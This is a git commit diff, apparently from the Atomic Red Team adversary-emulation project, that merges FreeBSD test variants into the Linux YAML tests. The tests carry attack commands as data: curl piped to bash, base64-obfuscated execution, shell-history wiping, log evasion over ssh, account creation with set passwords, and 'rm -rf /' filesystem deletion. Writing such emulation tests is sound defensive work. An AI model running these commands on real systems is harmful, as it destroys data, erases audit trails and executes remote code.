security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

FreeBSD cleanup (#2604)

Browse Source 
* FreeBSD cleanup

* fix T1059.004.yaml

* fix T1070.003.yaml

* cleanup

* Fix T1078.003

* fix t1078.003

* fix t1078.003

* fix t1078.003
This commit is contained in:
Hare Sudhan
2023-11-19 21:52:36 -05:00
committed by GitHub
parent ca9a658d79
commit 73f61a7600
7 changed files with 59 additions and 293 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/T1059.004/T1059.004.yaml
+9 -94
View File
@@ -158,23 +158,10 @@ atomic_tests:
name: sh
elevation_required: false
command: |
ART=$(echo -n "id" |base64 -w 0)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" |base64 -d |/bin/bash
unset ART
- name: Obfuscated command line scripts (freebsd)
auto_generated_guid: 5dc1d9dd-f396-4420-b985-32b1c4f79062
description: |
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to bash, which results in the id command being executed.
supported_platforms:
- linux
executor:
name: sh
elevation_required: false
command: |
ART=$(echo -n "id" |b64encode -r -)
echo "\$ART=$ART"
echo -n "$ART" |b64decode -r |/bin/sh
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
- name: Change login shell
auto_generated_guid: c7ac59cb-13cc-4622-81dc-6d2fee9bfac7
@@ -192,56 +179,19 @@ atomic_tests:
executor:
name: bash
elevation_required: true
command: |
useradd -s /bin/bash art
command: |
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
cleanup_command: |
userdel art
- name: Change login shell (freebsd)
auto_generated_guid: 33b68b9b-4988-4caf-9600-31b7bf04227c
description: |
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/sh shell, changes the users shell to sh, then deletes the art user.
supported_platforms:
- linux
dependencies:
- description: |
chsh - change login shell, must be installed
prereq_command: |
if [ -f /usr/bin/chsh ]; then echo "exit 0"; else echo "exit 1"; exit 1; fi
get_prereq_command: |
echo "Automated installer not implemented yet, please install chsh manually"
executor:
name: sh
elevation_required: true
command: |
pw useradd art -g wheel -s /bin/csh
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
cleanup_command: |
rmuser -y art
[ "$(uname)" = 'FreeBSD' ] && rmuser -y art || userdel art
- name: Environment variable scripts
auto_generated_guid: bdaebd56-368b-4970-a523-f905ff4a8a51
description: |
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
supported_platforms:
- linux
executor:
name: bash
elevation_required: false
command: |
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/bash
cleanup_command: |
unset ART
- name: Environment variable scripts (freebsd)
auto_generated_guid: 663b205d-2121-48a3-a6f9-8c9d4d87dfee
description: |
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/sh
supported_platforms:
- linux
executor:
name: sh
elevation_required: false
@@ -250,7 +200,6 @@ atomic_tests:
echo $ART |/bin/sh
cleanup_command: |
unset ART
- name: Detecting pipe-to-shell
auto_generated_guid: fca246a8-a585-4f28-a2df-6495973976a1
description: |
@@ -265,54 +214,20 @@ atomic_tests:
dependency_executor_name: bash
dependencies:
- description: |
Check if running on a Debian based machine.
Check if curl is installed on the machine.
prereq_command: |
if grep -iq "debian\|ubuntu\|kali\|mint" /usr/lib/os-release; then echo "Debian"; else echo "NOT Debian"; exit 1; fi
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
get_prereq_command: |
apt update && apt install -y curl
executor:
name: bash
elevation_required: false
command: |
cd /tmp
curl -s #{remote_url}
ls -la /tmp/art.txt
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
cleanup_command: |
rm /tmp/art.txt
- name: Detecting pipe-to-shell (freebsd)
auto_generated_guid: 1a06b1ec-0cca-49db-a222-3ebb6ef25632
description: |
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first time without piping it to bash and the second piping it into bash which executes the echo command.
supported_platforms:
- linux
input_arguments:
remote_url:
description: url of remote payload
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/pipe-to-shell.sh
dependency_executor_name: sh
dependencies:
- description: |
Check if running on a Debian based machine.
prereq_command: |
if grep -iq "FreeBSD" /etc/os-release; then echo "FreeBSD"; else echo "NOT FreeBSD"; exit 1; fi
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
get_prereq_command: |
pkg update && pkg install -y curl
which apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl
executor:
name: sh
elevation_required: false
command: |
cd /tmp
curl -s #{remote_url}
ls -la /tmp/art.txt
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
cleanup_command: |
rm /tmp/art.txt
rm /tmp/art.txt
- name: Current kernel information enumeration
auto_generated_guid: 3a53734a-9e26-4f4b-ad15-059e767f5f14
description: |
atomics/T1070.003/T1070.003.yaml
+34 -99
View File
@@ -5,43 +5,32 @@ atomic_tests:
auto_generated_guid: a934276e-2be5-4a36-93fd-98adbb5bd4fc
description: |
Clears bash history via rm
input_arguments:
history_path:
description: Bash history path
type: path
default: ~/.bash_history
supported_platforms:
- linux
- macos
executor:
command: |
rm ~/.bash_history
rm #{history_path}
name: sh
- name: Clear sh history (rm)
auto_generated_guid: 448893f8-1d5d-4ae2-9017-7fcd73a7e100
description: |
Clears sh history via rm
supported_platforms:
- linux
executor:
command: |
rm ~/.sh_history
name: sh
- name: Clear Bash history (echo)
auto_generated_guid: cbf506a5-dd78-43e5-be7e-a46b7c7a0a11
description: |
Clears bash history via echo
input_arguments:
history_path:
description: Bash history path
type: path
default: ~/.bash_history
supported_platforms:
- linux
executor:
command: |
echo "" > ~/.bash_history
name: sh
- name: Clear sh history (echo)
auto_generated_guid: a4d63cb3-9ed9-4837-9480-5bf6b09a6c96
description: |
Clears sh history via echo
supported_platforms:
- linux
executor:
command: |
echo "" > ~/.sh_history
echo "" > #{history_path}
name: sh
- name: Clear Bash history (cat dev/null)
auto_generated_guid: b1251c35-dcd3-4ea1-86da-36d27b54f31f
@@ -50,21 +39,15 @@ atomic_tests:
supported_platforms:
- linux
- macos
input_arguments:
history_path:
description: Bash history path
type: path
default: ~/.bash_history
executor:
command: |
cat /dev/null > ~/.bash_history
cat /dev/null > #{history_path}
name: sh
- name: Clear sh history (cat dev/null)
auto_generated_guid: ecaefd53-6fa4-4781-ba51-d9d6fb94dbdc
description: |
Clears sh history via cat /dev/null
supported_platforms:
- linux
executor:
command: |
cat /dev/null > ~/.sh_history
name: sh
- name: Clear Bash history (ln dev/null)
auto_generated_guid: 23d348f3-cc5c-4ba9-bd0a-ae09069f0914
description: |
@@ -72,39 +55,29 @@ atomic_tests:
supported_platforms:
- linux
- macos
input_arguments:
history_path:
description: Bash history path
type: path
default: ~/.bash_history
executor:
command: |
ln -sf /dev/null ~/.bash_history
ln -sf /dev/null #{history_path}
name: sh
- name: Clear sh history (ln dev/null)
auto_generated_guid: 3126aa7a-8768-456f-ae05-6ab2d4accfdd
description: |
Clears sh history via a symlink to /dev/null
supported_platforms:
- linux
executor:
command: |
ln -sf /dev/null ~/.sh_history
name: sh
- name: Clear Bash history (truncate)
auto_generated_guid: 47966a1d-df4f-4078-af65-db6d9aa20739
description: |
Clears bash history via truncate
supported_platforms:
- linux
input_arguments:
history_path:
description: Bash history path
type: path
default: ~/.bash_history
executor:
command: |
truncate -s0 ~/.bash_history
name: sh
- name: Clear sh history (truncate)
auto_generated_guid: e14d9bb0-c853-4503-aa89-739d5c0a5818
description: |
Clears sh history via truncate
supported_platforms:
- linux
executor:
command: |
truncate -s0 ~/.sh_history
truncate -s0 #{history_path}
name: sh
- name: Clear history of a bunch of shells
auto_generated_guid: 7e6721df-5f08-4370-9255-f06d8a77af4c
@@ -119,21 +92,6 @@ atomic_tests:
export HISTFILESIZE=0
history -c
name: sh
- name: Clear history of a bunch of shells (freebsd)
auto_generated_guid: 9bf7c8af-5e12-42ea-bf6b-b0348fb9dfb0
description: |
Clears the history of a bunch of different shell types by setting the history size to zero
supported_platforms:
- linux
executor:
command: |
unset HISTFILE
unset histfile
export HISTFILESIZE=0
export HISTSIZE=0
history -c
name: sh
- name: Clear and Disable Bash History Logging
auto_generated_guid: 784e4011-bd1a-4ecd-a63a-8feb278512e6
description: |
@@ -177,38 +135,15 @@ atomic_tests:
prereq_command: |
$(getent passwd testuser1 >/dev/null) && $(which sshpass >/dev/null)
get_prereq_command: |
/usr/sbin/useradd testuser1
echo -e 'pwd101!\npwd101!' | passwd testuser1
(which yum && yum -y install epel-release sshpass)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y sshpass)
[ "$(uname)" = 'FreeBSD' ] && pw useradd testuser1 -g wheel -s /bin/sh || /usr/sbin/useradd testuser1
[ "$(uname)" = 'FreeBSD' ] && echo 'pwd101!' | pw mod user testuser1 -h 0 || echo -e 'pwd101!\npwd101!' | passwd testuser1
(which yum && yum -y install epel-release sshpass)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y sshpass)||(which pkg && pkg install -y sshpass)
executor:
command: |
sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname
cleanup_command: |
userdel -f testuser1
[ "$(uname)" = 'FreeBSD' ] && rmuser -y testuser1 || userdel -f testuser1
name: sh
- name: Disable sh History Logging with SSH -T (freebsd)
auto_generated_guid: ec3f2306-dd19-4c4b-bed7-92d20e9b1dee
description: |
Keeps history clear and stays out of lastlog,wtmp,btmp ssh -T keeps the ssh client from catching a proper TTY, which is what usually gets logged on lastlog
supported_platforms:
- linux
dependencies:
- description: |
Install sshpass and create user account used for excuting
prereq_command: |
$(getent passwd testuser1 >/dev/null) && $(which sshpass >/dev/null)
get_prereq_command: |
pw useradd testuser1 -g wheel -s /bin/sh
echo 'pwd101!' | pw mod user testuser1 -h 0
(which pkg && pkg install -y sshpass)
executor:
command: |
sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname
cleanup_command: |
rmuser -y testuser1
name: sh
- name: Prevent Powershell History Logging
auto_generated_guid: 2f898b81-3e97-4abb-bc3f-a95138988370
description: |
atomics/T1070.004/T1070.004.yaml
+1 -12
View File
@@ -173,18 +173,7 @@ atomic_tests:
- linux
executor:
command: |
rm -rf / --no-preserve-root > /dev/null 2> /dev/null
name: bash
- name: Delete Filesystem - FreeBSD
auto_generated_guid: b5aaca7e-a48f-4f1b-8f0f-a27b8f516608
description: |
This test deletes the entire root filesystem of a FreeBSD system. This technique was used by Amnesia IoT malware to avoid analysis. This test is dangerous and destructive, do NOT use on production equipment.
supported_platforms:
- linux
executor:
command: |
chflags -R 0 /
rm -rf / > /dev/null 2> /dev/null
[ "$(uname)" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null
name: sh
- name: Delete Prefetch File
auto_generated_guid: 36f96049-0ad7-4a5f-8418-460acaeb92fb
atomics/T1074.001/T1074.001.yaml
+5 -18
View File
@@ -26,21 +26,6 @@ atomic_tests:
supported_platforms:
- linux
- macos
input_arguments:
output_file:
description: Location to save downloaded discovery.bat file
type: path
default: /tmp/T1074.001_discovery.log
executor:
command: |
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | bash -s > #{output_file}
name: bash
- name: Stage data from Discovery.sh (freebsd)
auto_generated_guid: 4fca7b49-379d-4493-8890-d6297750fa46
description: |
Utilize curl to download discovery.sh and execute a basic information gathering shell script
supported_platforms:
- linux
input_arguments:
output_file:
description: Location to save downloaded discovery.bat file
@@ -49,14 +34,16 @@ atomic_tests:
dependency_executor_name: sh
dependencies:
- description: |
Check if curl is installed.
Check if curl is installed on the machine.
prereq_command: |
if [ ! -x "$(command -v curl)" ]; then exit 1; else exit 0; fi;
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
get_prereq_command: |
(which pkg && pkg install -y curl)
which apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl
executor:
command: |
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file}
cleanup_command: |
rm #{output_file}
name: sh
- name: Zip a Folder with PowerShell for Staging in Temp
auto_generated_guid: a57fbe4b-3440-452a-88a7-943531ac872a
atomics/T1078.003/T1078.003.yaml
+4 -22
View File
@@ -112,29 +112,11 @@ atomic_tests:
name: bash
elevation_required: true
command: |
useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art
su art
whoami
exit
password=$(openssl passwd -1 art)
([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))
su art -c "whoami; exit"
cleanup_command: |
userdel -r art
- name: Create local account (FreeBSD)
auto_generated_guid: 95158cc9-8f6d-4889-9531-9be3f7f095e0
description: |
An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user.
supported_platforms:
- linux
executor:
name: sh
elevation_required: true
command: |
pw useradd art -g wheel -s /bin/sh
echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0
su art
whoami
exit
cleanup_command: |
rmuser -y art
[ "$(uname)" = 'Linux' ] && userdel art -rf || rmuser -y art
- name: Reactivate a locked/expired account (Linux)
auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931
description: |
atomics/T1087.001/T1087.001.yaml
+2 -20
View File
@@ -100,30 +100,12 @@ atomic_tests:
sudo apt-get install login; exit 1;
executor:
command: |
lastlog > #{output_file}
[ "$(uname)" = 'FreeBSD' ] && cmd="lastlogin" || cmd="lastlog"
$cmd > #{output_file}
cat #{output_file}
cleanup_command: |
rm -f #{output_file}
name: sh
- name: Show if a user account has ever logged in remotely (freebsd)
auto_generated_guid: 0f73418f-d680-4383-8a24-87bc97fe4e35
description: |
Show if a user account has ever logged in remotely
supported_platforms:
- linux
input_arguments:
output_file:
description: Path where captured results will be placed
type: path
default: /tmp/T1087.001.txt
executor:
command: |
lastlogin > #{output_file}
cat #{output_file}
cleanup_command: |
rm -f #{output_file}
name: sh
- name: Enumerate users and groups
auto_generated_guid: e6f36545-dc1e-47f0-9f48-7f730f54a02e
description: |
atomics/T1090.003/T1090.003.yaml
+4 -28
View File
@@ -74,7 +74,7 @@ atomic_tests:
stop-process -name "tor" | out-null
name: powershell
elevation_required: false
- name: Tor Proxy Usage - Debian/Ubuntu
- name: Tor Proxy Usage - Debian/Ubuntu/FreeBSD
auto_generated_guid: 5ff9d047-6e9c-4357-b39b-5cf89d9b59c7
description: |
This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
@@ -88,12 +88,12 @@ atomic_tests:
prereq_command: |
if [ -x "$(command -v tor --version)" ]; then exit 0; else exit 1; fi
get_prereq_command: |
sudo apt-get -y install tor
(which apt && sudo apt-get -y install tor) || (which pkg && pkg install -y tor)
executor:
command: |
sudo systemctl start tor
[ "$(uname)" = 'FreeBSD' ] && sysrc tor_enable="YES" && service tor start || sudo systemctl start tor
cleanup_command: |
sudo systemctl stop tor
[ "$(uname)" = 'FreeBSD' ] && service tor stop && sysrc -x tor_enable || sudo systemctl stop tor
name: sh
elevation_required: true
- name: Tor Proxy Usage - MacOS
@@ -118,27 +118,3 @@ atomic_tests:
cleanup_command: |
killall tor > /dev/null 2>&1
name: sh
- name: Tor Proxy Usage - FreeBSD
auto_generated_guid: 550ec67d-a99e-408b-816a-689271b27d2a
description: |
This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.
Upon successful execution, the tor proxy service will be launched.
supported_platforms:
- linux
dependency_executor_name: sh
dependencies:
- description: |
Tor must be installed on the machine
prereq_command: |
if [ -x "$(command -v tor --version)" ]; then exit 0; else exit 1; fi
get_prereq_command: |
pkg install -y tor
executor:
command: |
sysrc tor_enable="YES"
service tor start
cleanup_command: |
service tor stop
sysrc -x tor_enable
name: sh
elevation_required: true